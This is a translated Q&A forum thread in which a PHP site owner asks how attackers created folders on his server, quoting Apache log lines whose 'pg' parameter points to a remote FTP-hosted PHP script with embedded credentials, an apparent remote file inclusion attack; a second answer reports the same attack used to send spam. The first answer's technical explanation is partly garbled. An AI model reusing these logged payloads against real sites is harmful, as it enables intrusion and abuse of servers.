用户在FTP中从HTML创建文件夹

时间:2016-07-13 13:08:29

标签: php ftp

我面临一个大问题,我找不到原因。我有一个在80端口运行apache的网站,可以访问ftp。

有些用户正在使用恶意命令创建FTP文件夹。我分析了apache日志,发现了以下奇怪的行:

 [08/Jul/2016:22:54:09 -0300] "POST /index.php?pg=ftp://zkeliai:zkeliai@zkeliai.lt/Thumbr.php?x&action=upload&chdir=/home/storage/9/ff/8d/mywebsite/public_html/Cliente/ HTTP/1.1" 200 18391 "http://mywebsite/index.php?pg=ftp://zkeliai:zkeliai@zkeliai.lt/Thumbr.php?x&chdir=/home/storage/9/ff/8d/mywebsite/public_html/Cliente/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 

在我的FTP中创建了以下文件夹:/public_html/Cliente

我的代码中有一段使用$_GET['pg'],请参阅:

 $pg = isset($_GET['pg']) ? $_GET['pg'] : null;
 $pg = htmlspecialchars($pg, ENT_QUOTES);

我尝试像黑客一样测试命令"pg=ftp://zkeliai...",但没有任何反应,我期待这一点。我很困惑黑客如何在我的FTP中创建一个文件夹。

2 个答案:

答案 0 :(得分:0)

在不知道正在使用$pg的情况下,实际上不可能得到黑客正在做的事情,但看起来他向 index.php发送了一个POST请求参数

  

?PG = ftp://zkeliai:zkeliai@zkeliai.lt/Thumbr.php?x&chdir=/home/storage/9/ff/8d/mywebsite/public_html/Cliente/

使用htmlspecialchars进行环境卫生的效果是将字符串中的&转换为&。当请求由 index.php 处理时,但是,它将在内部字符串中转换回&,因为PHP会假设它只是URL编码,所以当索引时.php 正在将服务器端请求发送到 Thumbr.php &存在,并用于向FTP发送参数。

答案 1 :(得分:0)

我们大学的网站上也有类似的问题。我们在这个IP的最后几天有超过2200次点击,有两个不同的.php页面:showcase.php和Thumbr.php

这是我们日志中的一个片段

  

POST /navigator/index.php page = ftp://zkeliai:zkeliai@zkeliai.lt/zkeliai/showcase.php? 80 - 177.125.20.3 Mozilla / 4.0 +(兼容; + MSIE + 7.0; + Windows + NT + 6.1; + WOW64; + Trident / 4.0; + SLCC2; +。NET + CLR + 2.0.50727; +。NET + CLR +3.5.30729; +。NET + CLR + 3.0.30729; + Media + Center + PC + 6.0; +。NET4.0C; +。NET4.0E)200 0 0 11154

此页面用于通过我们的SMTP服务器发送垃圾邮件。 URL中的page = GET参数由我们的PHP页面加载,没有对值进行过滤。 showcase.php页面(不再在FTP站点上)是一个简单的HTML表单,其中包含主题字段,HTML正文内容字段和电子邮件收件人文本区域。

不确定发布了什么,似乎将ftp页面(包含的凭据)加载到PHP中,$ _GET []设法执行该页面上的内容?我不清楚它是如何起作用的,但这似乎就是发生的事情。